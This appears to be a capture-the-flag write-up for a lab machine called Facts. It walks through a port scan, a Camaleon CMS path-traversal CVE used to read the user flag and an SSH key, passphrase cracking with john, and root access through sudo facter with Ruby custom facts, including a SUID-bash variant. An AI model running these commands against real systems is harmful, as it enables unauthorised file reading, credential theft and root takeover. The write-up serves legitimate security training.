Summary

Facts is a Linux machine running Camaleon CMS behind nginx, with SSH exposed and a public MinIO/S3-style media service. Initial access comes from CVE-2024-46987, an authenticated Camaleon CMS path traversal / arbitrary file read. The file read is used to grab the user flag and an encrypted SSH private key for trivia. After cracking the SSH key passphrase, privilege escalation is straightforward because trivia can run /usr/bin/facter as root with NOPASSWD. Facter custom facts are Ruby files; loading one with --custom-dir executes Ruby code as root.

Flags are redacted. Proof hashes are included instead.

PhaseTechnique
ReconPort scan, virtual host setup, web enumeration
Initial AccessCamaleon CMS CVE-2024-46987 authenticated arbitrary file read
Credential AccessRead encrypted SSH private key, crack with ssh2john/john
Privilege Escalationsudo /usr/bin/facter + Ruby custom facts

Reconnaissance

TCP Port Scan

$ nmap -sS -T4 --min-rate 1000 -p- 10.129.6.164
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
54321/tcp open  unknown

Service overview:

22/tcp    SSH
80/tcp    nginx / Camaleon CMS / Rails app
54321/tcp MinIO/S3-compatible object storage

The HTTP service expects the facts.htb virtual host:

echo '10.129.6.164 facts.htb' | sudo tee -a /etc/hosts

Web Enumeration

The main site exposes a Camaleon CMS application at:

http://facts.htb/

The admin area is reachable at:

http://facts.htb/admin/login

The machine also exposes a public object storage listing:

http://10.129.6.164:54321/randomfacts/

During early testing, SVG uploads also triggered server-side ImageMagick thumbnail generation and could render local files through text:/path references. That was a useful lead, but the generated thumbnails were lossy and tiny, making OCR unreliable. The clean path is the Camaleon CMS CVE below.

Gaining Initial Access / User Flag

Vulnerability: CVE-2024-46987

Camaleon CMS has an authenticated path traversal / arbitrary file read issue tracked as CVE-2024-46987. With a low-privileged CMS account, the bug can be used to read local files from the server.

A public PoC exists, but the important operational requirement is authentication: register or otherwise obtain a normal CMS account, then use the session to request arbitrary paths.

Command shape used locally:

python3 CVE-2024-46987.py \
  -u http://facts.htb \
  --user '<cms_user>' \
  -p '<cms_password>' \
  /home/william/user.txt

The output contained the user flag.

Redacted proof:

user.txt: 9ea9...cf3b
sha256(flag): 3560c203b93fb0333da4954fd0df068a309659eb775166412e03b9d6bffbbf8f

Reading the SSH Key

The same arbitrary file read can retrieve an encrypted SSH key for another local user:

python3 CVE-2024-46987.py \
  -u http://facts.htb \
  --user '<cms_user>' \
  -p '<cms_password>' \
  /home/trivia/.ssh/id_ed25519 > id_ed25519_trivia

chmod 600 id_ed25519_trivia

The key is encrypted, so convert it to a John hash and crack it with a wordlist:

ssh2john id_ed25519_trivia > ssh_trivia.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_trivia.hash
john --show ssh_trivia.hash

If rockyou.txt is compressed on Kali:

gzip -dk /usr/share/wordlists/rockyou.txt.gz

After cracking the passphrase, SSH access as trivia works:

ssh -i id_ed25519_trivia [email protected]

Verify the foothold:

trivia@facts:~$ whoami
trivia
trivia@facts:~$ hostname
facts

Privilege Escalation / Root Flag

Enumeration

Run sudo -l as trivia:

trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

This is the privesc. Facter supports custom facts loaded from a directory via --custom-dir. Custom facts can be Ruby files. When /usr/bin/facter is executed through sudo, the Ruby fact code runs with root privileges.

Read-Only Root Flag Extraction

For a CTF, a direct file-read fact is cleaner than modifying /bin/bash or leaving a SUID binary behind.

Create a temporary custom fact:

mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/rootflag.rb <<'EOF'
Facter.add(:rootflag) do
  setcode do
    File.read('/root/root.txt').strip
  end
end
EOF

Run Facter as root and request the custom fact:

sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts rootflag

Clean up:

rm -rf /tmp/exploit_facts

Redacted proof:

root.txt: 63db...acc9
sha256(flag): 90267e01ae69b2daf2948ec9704aeafa6dd4226e680d103119c42db1d9ded424

Root Shell Alternative

If a full root shell is needed, the custom fact can run a command instead:

Facter.add(:suidbash) do
  setcode do
    system('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')
    'done'
  end
end

Then:

sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts suidbash
/tmp/rootbash -p

For this box, reading /root/root.txt directly was enough and less noisy.